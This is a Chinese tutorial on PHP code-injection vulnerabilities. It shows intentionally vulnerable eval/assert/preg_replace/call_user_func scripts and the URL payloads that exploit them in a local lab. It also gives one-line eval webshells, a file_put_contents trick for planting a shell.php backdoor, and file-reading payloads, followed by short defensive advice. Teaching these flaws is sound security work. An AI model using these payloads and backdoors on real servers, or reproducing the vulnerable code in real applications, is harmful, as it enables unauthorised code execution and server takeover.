当前位置: 首页 > news >正文

【PHP代码注入】PHP代码注入漏洞

漏洞原理

RCE为两种漏洞的缩写,分别为Remote Command/Code Execute,远程命令/代码执行

PHP代码注入也叫PHP代码执行(Code Execute)(Web方面),是指应用程序过滤不严,用户可以通过HTTP请求将代码注入到应用中执行。代码注入(代码执行)类似于SQL注入漏洞。SQLi是将SQL语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤,相当于直接有了一个Web后门(可以在服务器上执行任意命令)的存在。

PHP代码注入与SQL注入区别:

双方的注入方式是类似的,都是构造语句绕过服务器的过滤去执行。

区别在于SQL注入是将语句注入到数据库中执行,而PHP代码执行则是通过将代码注入到应用中,最终由服务器运行

造成PHP代码注入前提条件:

  1. 程序中含有可以执行PHP代码的函数或者语言结构

  1. 传入该函数或语言结构的参数是客户端可控,可以直接修改或造成影响,且应用程序过滤不严。

漏洞危害

Web应用如果存在代码执行漏洞时非常危险的,这样的漏洞如果没有特殊的过滤,相当于直接有一个WEB后门的存在。可以通过代码执行漏洞继承Web用户权限,执行任意代码。如果服务器没有正确配置或Web用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。

PHP中常见的代码执行函数和语句

PHP中有很多函数和语句都会造成PHP代码执行漏洞。本文以PHP为例子来说明,代码执行漏洞。

● eval()                        将字符串当作php 代码执行
● assert()                      同样会作为PHP 代码执行
● preg_replace()                当php版本小于7时,当为 /e 时代码会执行
● call_user_func()              回调函数,可以使用is_callable查看是否可以进行调用
● call_user_fuc_array()         回调函数,参数为数组
● create_function()             创建匿名函数
● array_map()                   为数组的每个元素应用回调函数
● array_filter()                依次将 array 数组中的每个值传递到 callback函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含,在返回的结果数组中。数组的键名保留不变。
● usort()                       使用自定义函数对数组进行排序

一句话木马就是利用的代码执行漏洞:

<?php @eval($_POST[cmd]);?>

eval()

作用: eval()函数会将字符串作为PHP代码执行。

该字符串必须是合法的 PHP 代码。eval函数自带输出功能,不需要再使用echo进行输出。

例子:

<?php
$str="phpinfo();";
eval($str);
?>
  1. 在网站根目录下新建codei文件夹,在该文件夹下新建文件eval.php,并写入如上代码

  1. 打开浏览器访问该文件,网页显示如下

  1. 我们如下修改代码,网页显示如下

<?php
$str="echo md5 (123456);";
eval($str);
?>

总结:通过以上两个例子,我们发现eval函数会将它的参数字符串按照PHP代码去执行

Q:那么eval函数的漏洞体现在哪里呢?

A:我们可以看到$str中的str是一个动态的变量,那如果这个动态的变量$str客户端可控,客户端可控意思就是客户端用户通过一些特殊的方法,这些方法可能是正常的业务,也可能是一些比较不正常的做法,然后造成$str客户端可控。简单来说,客户端可控就是用户的操作会影响到$str的值

  • 那么我们修改一下代码,让$str可控,代码如下,其中的全局变量$_GET也可以是$_REQUEST等其他预定义超全局数组变量(预定义超全局数组作用:包含了GET参数,POST参数还有COOKIE参数,也就是说get方式,post方式还有cookie方式传递过来的参数这些数组都能接收到)。

<?php
@$str=$_GET['code'];
eval($str);
?>
  • 此时我们再打开浏览器访问,在浏览器中输入参数?code=phpinfo();,(注意要有分号),网页显示如下

综上我们发现,客户端传递过来的phpinfo();这个参数赋值给$str的值,然后$str的值又传到eval()函数当中,最后造成PHP代码注入。

测试代码:

<?php
if(isset($_REQUEST['code'])){@$str=$_REQUEST['code'];eval($str);
}
?>

我们接收到的post参数又传给eval()函数去执行,也就是一句话木马

通过浏览器访问上述函数所在网页时,可以通过传递参数该code来执行PHP代码,主要有以上几种:

  1. 普通方式提交变量:?code=phpinfo();

  1. 以语句块方式提交变量:?code={phpinfo();}

  1. 以多语句方式提交参数:?code=1;phpinfo();

危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码

assert

作用: assert()函数也会将字符串作为PHP代码执行。

例子:

<?php
if(isset($_GET['code'])){@$str=$_GET['code'];assert($str);
}else{echo "Please submit code!<br >?code=phpinfo();";
}
?>
  1. 在网站根目录下的codei文件夹中新建文件assert.php,文件内容如上,其中的全局变量$_GET还可以是$_REQUEST等其他预定义超全局变量。

  1. 打开浏览器访问,可以通过传递参数code来执行PHP代码,主要有以下几种方式:

普通方式提交变量:?code=phpinfo()或者?code=phpinfo();(有无分号都可执行)

tips:与eval()函数有别的是,该函数不能执行传入语句块或多语句作为参数

preg_replace()

作用:preg_replace()函数能对字符串进行正则处理。

参数和返回值如下:

mixed preg_replace(mixed $pattern, mixed $replacement, mixed $subject [, int limit = -1 [, int &$count]])
#mixed表示函数的返回值可以为混合类型

这段代码的含义是搜索$subject中匹配$pattern的部分,以$replacement进行替换,而当$pattern处,即第一个参数存在e修饰符时,$replacement的值会被当成PHP代码来执行。典型代码如下:

<?php
if (isset($_GET['code'])){		//其中的全局变量\$_GET还可以是\$_REQUEST等其他预定义超全局变量。$code=$_GET['code'];preg_replace("/\[(.*)\]/e",'\\1',$code);
}else{echo"?code=[phpinfo()]";
}
?>
  1. 在网站根目录下的codei文件夹下新建文件preg_replace.php,测试代码如上。代码中第一个参数"/\[(.*)\]/e"解析如下,第二个参数'\\1'表示的是正则表达式第一次匹配的内容。

① 在两个/间是要匹配的正则表达式;

②用两个\表示对中括号的转义,也就是说要匹配的内容是中括号内的。

③匹配的内容就是(.*)。其中点表示任意字符,*表示任意多个。

  1. 打开浏览器访问,可以通过传递参数code来执行PHP代码,主要有以下几种方式:

  • 普通方式提交变量:?code=[phpinfo();],[]是由于preg_replace的第一个参数有分号

  • 以语句块方式提交变量:?code={[phpinfo();]}

  • 以多语句方式提交参数:?code=1;[phpinfo();]

call_user_func()

call_user_func()等函数都有调用其他函数的功能,其中的一个参数作为要调用的函数名,那如果这个传入的函数名可控,那就可以调用意外的函数来执行我们想要的代码,也就是存在任意代码执行漏洞。

以call_user_func($fun,$para)函数为例,该函数的第一个参数作为回调函数,后面的参数为回调函数的参数,将$para这个参数传递给$fun这个函数去执行。

测试代码如下:

<?php
if(isset($_GET['fun'])){
$fun=$_GET['fun'];//assert
$para=$_GET['para'];//phpinfo()
call_user_func($fun,$para);//assert(phpinfo())
}else{echo"?fun=assert&amp;para=phpinfo()";
}
?>
#注意,fun不可以取eval,因为eval不是函数,而是语言结构
  1. 在网站根目录的codei文件夹下新建文件call_user_func.php,文件内容如上

  1. 打开浏览器访问,可以通过传递参数code来执行PHP代码?fun=assert&para=phpinfo()。需注意的是,传入的第一个参数可以是assert()函数而不是eval。(因为eval在PHP当中是属于语言结构,并不属于函数)

动态函数$a($b)

由于PHP的特性原因,PHP函数支持直接由拼接的方式调用,这直接导致了PHP在安全上的控制又加大了难度。不少知名程序中也用到了动态函数的写法,这种写法和使用call_user_func()的初衷一样,用起来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。

测试代码如下:

<?php
if(isset($_GET['a'])){$a=$_GET['a'];$b=$_GET['b'];$a($b);
}else{echo"?a=assert&amp;b=phpinfo()";
}
?>
  1. 在网站根目录下的codei文件夹下新建文件dths.php,文件内容如上

  1. 打开浏览器访问,可以通过传递参数code来执行PHP代码,?a=assert&b=phpinfo()

PHP代码执行漏洞的利用

代码执行漏洞的利用方式有很多种,以下简单列出几种。

直接获取shell

  1. 打开浏览器访问assert.php文件,提交参数[?code=@eval($_REQUEST[cmd]);],即可构成一句话木马,密码为cmd。可以使用中国蚁剑连接。URL为

http://127.0.0.1/codei/assert.php?code=@eval($_REQUEST[cmd])

  1. 启动中国蚁剑,在界面空白处右键点击添加数据

  1. 提交后可以看到页面多了一条内容,双击可以看到靶机的相关信息。

获取当前文件的绝对路径

__FILE__是PHP预定义常量,其含义为当前文件的路径。

打开浏览器访问assert.php文件,提交参数?code=print(__FILE__);,即可获取当前网页的绝对路径,其他漏洞依次类推。

读文件

我们可以利用file_get_contents()函数读取服务器任意文件前提知道目标文件路径和读取权限

读取服务器的hosts文件(为域名指定IP地址),打开浏览器访问assert.php文件,其中传入参数?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));,即可将目标文件内容显示在页面上。

写文件

我们可以利用file_get_contents()函数,写入文件,该函数的作用在于将第二个参数作为内容写入到第一个参数的文件中。前提是知道可写目录。

  1. 打开浏览器访问assert.php文件,其中传入参数为?code=file_put_contents($_REQUEST[1],$_REQUEST[2]);&1=shell.php&2=<?php @eval($_REQUEST['ant']);?>。参数1值为shell.php,参数2值为<?php eval($_POST['ant']); ?>,表示在当前目录下创建文件shell.php(文件内容为参数2的值),并写入一个后门。

  1. 继续打开浏览器访问shell.php文件,网址为http://127.0.0.1/codei/shell.php

  1. 打开中国蚁剑访问刚刚写入的后门文件,按以下填写参数,并点击添加。

  1. 提交后可以看到页面多了一条内容,双击可以看到靶机的相关信息,可管理靶机

PHP代码执行漏洞的防御

  • 保证用户不能轻易接触 eval()函数 的参数或者用正则严格判断输入的数据格式

  • 字符串使用单引号包裹,并在插入前进行 addslashes()

  • 对preg_replace()放弃使用e修饰符,保证第二个参数中对于正则匹配出的对象,用单引号包裹

相关文章:

【PHP代码注入】PHP代码注入漏洞

漏洞原理RCE为两种漏洞的缩写&#xff0c;分别为Remote Command/Code Execute&#xff0c;远程命令/代码执行PHP代码注入也叫PHP代码执行(Code Execute)(Web方面)&#xff0c;是指应用程序过滤不严&#xff0c;用户可以通过HTTP请求将代码注入到应用中执行。代码注入(代码执行)…...

Python 常用语句同C/C++、Java的不同

文章目录前言1. 数字 int2. 字符 string3. 列表 List4. 元组 tuple5. 字典 dictionary6. 集合 set7. 值类型变量与引用类型变量8. if elif else9. >、<、>、<、、!10. while11. for前言 本篇为本人前段时间的一个简单汇总&#xff0c;这里可能并不齐全&#xff0c…...

一把火烧掉了苹果摆脱中国制造的幻想,印度制造难担重任

这几年苹果不断推动印度制造&#xff0c;希望摆脱对中国制造的依赖&#xff0c;然而近期苹果在印度的一家代工厂发生大火却证明了苹果的这一计划遭受重大打击&#xff0c;印度制造根本就无法中国制造。一、印度制造屡屡发生幺蛾子苹果推动印度制造已有多年了&#xff0c;然而印…...

常用的 JavaScript 数组 API

以下是一些常用的 JavaScript 数组 API 的代码示例&#xff1a; 1、push() push(): 在数组末尾添加一个或多个元素&#xff0c;返回新的数组长度 const arr [1, 2, 3]; const newLength arr.push(4, 5); console.log(arr); // [1, 2, 3, 4, 5] console.log(newLength); //…...

海思3531a pjsip交叉编译

学习文档&#xff1a; PJSUA2 Documentation — PJSUA2 Documentation 1.0-alpha documentationhttps://www.pjsip.org/docs/book-latest/html/index.html ./configure --prefix/opensource/pjproject-2.12/build3531a \ --host/opt/hisi-linux/x86-arm/arm-hisi…...

《安富莱嵌入式周报》第305期:超级震撼数码管瀑布,使用OpenAI生成单片机游戏代码的可玩性,120通道逻辑分析仪,复古电子设计,各种运动轨迹函数源码实现

往期周报汇总地址&#xff1a;嵌入式周报 - uCOS & uCGUI & emWin & embOS & TouchGFX & ThreadX - 硬汉嵌入式论坛 - Powered by Discuz! 说明&#xff1a; 谢谢大家的关注&#xff0c;继续为大家盘点上周精彩内容。 视频版&#xff1a; https://www.bi…...

力扣-查找每个员工花费的总时间

大家好&#xff0c;我是空空star&#xff0c;本篇带大家了解一道简单的力扣sql练习题。 文章目录前言一、题目&#xff1a;1741. 查找每个员工花费的总时间二、解题1.正确示范①提交SQL运行结果2.正确示范②提交SQL运行结果3.正确示范③提交SQL运行结果4.正确示范④提交SQL运行…...

企业级信息系统开发学习笔记1.8 基于Java配置方式使用Spring MVC

文章目录零、本节学习目标一、基于Java配置与注解的方式使用Spring MVC1、创建Maven项目 - SpringMVCDemo20202、在pom.xml文件里添加相关依赖3、创建日志属性文件 - log4j.properties4、创建首页文件 - index.jsp5、创建Spring MVC配置类 - SpringMvcConfig6、创建Web应用初始…...

【C语言复习】C语言中的文件操作

C语言中的文件操作写在前面文件操作什么是文件文件的分类文件名文件的操作文件指针文件的打开和关闭文件的顺序读写文件的随机读写fseekftellrewindfeof写在前面 文件操作在C语言部分只是属于了解内容&#xff0c;但是因为它可能会应用在项目中&#xff0c;所以我把它单独写成…...

00后整顿职场,当摸鱼测试员遇上了内卷00后。

在程序员职场上&#xff0c;什么样的人最让人反感呢? 是技术不好的人吗?并不是。技术不好的同事&#xff0c;我们可以帮他。 是技术太强的人吗?也不是。技术很强的同事&#xff0c;可遇不可求&#xff0c;向他学习还来不及呢。 真正让人反感的&#xff0c;是技术平平&…...

程序员的上帝视角(4)——视角

对于开发人员来说&#xff0c;工作都是从评估一个需求开始。我们第一个要解决的问题就是看待需求的视角。视角的不同&#xff0c;得到的设计方案可能是完全不同的。作为一个程序员&#xff0c;不能单单从个人视角来看待问题。而是要尝试从不同角色出发&#xff0c;不停思考。上…...

一、webpack基础

webpack基础 一、webpack是什么 webpack 是一个用于现代 JavaScript 应用程序的静态模块打包工具。 说白了webpack就是一个构建和管理静态资源的工具&#xff0c;在我们使用框架开发时&#xff0c;它会在我们内部的一个或者多个入口根据我们引入的各个模块将他们根据一定的规…...

超详细VMware CentOS7(最小安装)安装教程

前言&#xff1a;在我们使用虚拟机的时候&#xff0c;不要去担心我们的一些操作会使虚拟机损坏或者有没有可能会使我们的电脑本身出现一些问题&#xff0c;要记住无论我们把我们的虚拟机如何都不会影响我们本身的机器&#xff0c;因为它只是虚拟的&#xff0c;在虚拟机里不要担…...

经典卷积模型回顾8—NIN实现图像分类(matlab)

首先&#xff0c;介绍一下NiN&#xff08;Network In Network&#xff09;模型。NiN模型是由加州大学伯克利分校的Lin、Chen、Yan等人在2013年提出的一种深度卷积神经网络模型&#xff0c;其特点是在传统的卷积神经网络中加入了多个小的全连接网络&#xff0c;用于对特征进行非…...

【Java笔记】泛型

本章专题与脉络 泛型概述 生活中的例子 举例1&#xff1a;中药店&#xff0c;每个抽屉外面贴着标签 举例2&#xff1a;超市购物架上很多瓶子&#xff0c;每个瓶子装的是什么&#xff0c;有标签 举例3&#xff1a;家庭厨房中&#xff1a; Java中的泛型&#xff0c;就类似于上…...

【Linux】用户管理

&#x1f60a;&#x1f60a;作者简介&#x1f60a;&#x1f60a; &#xff1a; 大家好&#xff0c;我是南瓜籽&#xff0c;一个在校大二学生&#xff0c;我将会持续分享C/C相关知识。 &#x1f389;&#x1f389;个人主页&#x1f389;&#x1f389; &#xff1a; 南瓜籽的主页…...

深入理解Mysql索引底层数据结构与算法

索引是帮助MySQL高效获取数据的排好序的数据结构 深入理解Mysql索引底层数据结构与算法1.常见的数据结构讲解1.1 二叉树1.1.1 二叉树的定义1.1.2 二叉树示例1.1.3 Mysql为什么不使用二叉树进行数据存储1.2 红黑树1.2.1 红黑树的定义1.2.2 红黑树示例1.2.3 Mysql 为什么不适用红…...

【SpringBoot高级篇】SpringBoot集成jasypt 配置脱敏和数据脱敏

【SpringBoot高级篇】SpringBoot集成jasypt数据脱敏配置脱敏使用场景配置脱敏实践数据脱敏pomymlEncryptMethodEncryptFieldEncryptConstantEncryptHandlerPersonJasyptApplication配置脱敏 使用场景 数据库密码直接明文写在application.yml配置中&#xff0c;对安全来说&…...

JAVA知识体系(二)

分布式&#xff1a; 微服务之间的通信 当前我们微服务架构中&#xff0c;微服务之间使用的三种通讯方式&#xff1a;代理访问&#xff0c;feign请求&#xff0c;消息队列 其中代理访问我们使用的是netflix-zuul&#xff0c;只要是对外暴露请求的所有网关&#xff0c;主要用在…...

Verilog 学习第八节(数码管段码显示)

共阴极数码管&#xff1a;低电平端接的都是0&#xff0c;高电平端哪里设置为1 &#xff0c;哪里就亮~ 共阳极数码管与之相反~ 视觉暂留&#xff1a; 对于三位的共阴极数码管 第0.01s&#xff1a;让数码管0的a段亮&#xff0c;其他数码管全灭 Sel0为高电平&#xff0c;sel1和sel…...

Cartographer闭环优化里的‘分支定界’:一个机器人SLAM工程师的实战笔记与避坑心得

Cartographer闭环优化中的分支定界算法&#xff1a;工程实践与性能调优指南 在SLAM&#xff08;即时定位与地图构建&#xff09;领域&#xff0c;闭环检测的准确性直接决定了系统长期运行的稳定性。作为Cartographer算法的核心组件之一&#xff0c;分支定界&#xff08;Branch …...

对比自行维护与使用Taotoken在模型接入效率上的差异

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 对比自行维护与使用Taotoken在模型接入效率上的差异 在开发需要集成大语言模型能力的应用时&#xff0c;团队通常面临一个核心选择…...

can消息的大小端对源码的影响

下图为小端intel型信号&#xff0c;其dbc文件部分源码为&#xff1a;BO_ 1 id_0x1: 8 Vector__XXXSG_ aaa : 0|121 (1,0) [0|0] "" Vector__XXX&#xff0c;这里的0代表的是起始位置为0&#xff08;起始0->7,8->12为高位)如果将该信号改为大端motorola型&#…...

Taotoken如何助力AIGC内容创作团队平衡效果与成本

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 Taotoken如何助力AIGC内容创作团队平衡效果与成本 对于专注于短视频脚本、营销文案等AIGC内容生产的团队而言&#xff0c;频繁调用…...

从YOLOv1到YOLOv5:一个算法工程师的实战避坑与版本选择指南

从YOLOv1到YOLOv5&#xff1a;算法工程师的版本选择与实战调优指南 在计算机视觉领域&#xff0c;目标检测算法的发展日新月异&#xff0c;而YOLO(You Only Look Once)系列作为其中的佼佼者&#xff0c;凭借其出色的实时性和准确性&#xff0c;已成为工业界和学术界广泛采用的核…...

Steam Cron Studio:可视化配置生成器,为AI代理打造Steam自动化任务

1. Steam Cron Studio&#xff1a;一个为AI代理量身定制的Steam自动化配置生成器如果你是一个Steam重度用户&#xff0c;同时又对AI代理&#xff08;AI Agent&#xff09;和自动化工具感兴趣&#xff0c;那么你很可能和我一样&#xff0c;曾经被一个看似简单实则繁琐的问题困扰…...

VS2019/2022插件安装指南:让CppCheck帮你揪出C++代码里那些编译器发现不了的‘幽灵Bug’

VS2019/2022插件安装指南&#xff1a;让CppCheck帮你揪出C代码里那些编译器发现不了的‘幽灵Bug’ 在C开发中&#xff0c;编译器能捕捉语法错误&#xff0c;但那些潜伏在逻辑深处的"幽灵Bug"——内存泄漏、未初始化变量、数组越界——往往要等到运行时才暴露。CppCh…...

斐讯K3从梅林‘变砖’到官复原职:一个手残党的硬核救砖全记录(附TTL/编程器操作避坑点)

斐讯K3救砖实战&#xff1a;从梅林固件崩溃到完美恢复的完整指南 1. 当路由器变成"砖头"&#xff1a;一个普通用户的崩溃瞬间 那是一个普通的周末下午&#xff0c;我正兴冲冲地准备给我的斐讯K3刷上梅林固件&#xff0c;幻想着能获得更强大的功能和更稳定的性能。按照…...

那些被“写不动“耽误的好想法,现在可以试了

脑子里的想法永远比手头的代码多。想做一个新的仲裁逻辑&#xff0c;想验证一种不同的流水线划分&#xff0c;想试试那个"也许能行"的微架构调整——但最终都没动手&#xff0c;因为光是搭环境、写testbench、跑仿真这一套下来&#xff0c;没有一两周根本出不了结论。…...

Cursor Pro激活器:终极解决方案告别API限制,实现无限免费使用

Cursor Pro激活器&#xff1a;终极解决方案告别API限制&#xff0c;实现无限免费使用 【免费下载链接】cursor-free-vip [Support 0.45]&#xff08;Multi Language 多语言&#xff09;自动注册 Cursor Ai &#xff0c;自动重置机器ID &#xff0c; 免费升级使用Pro 功能: Youv…...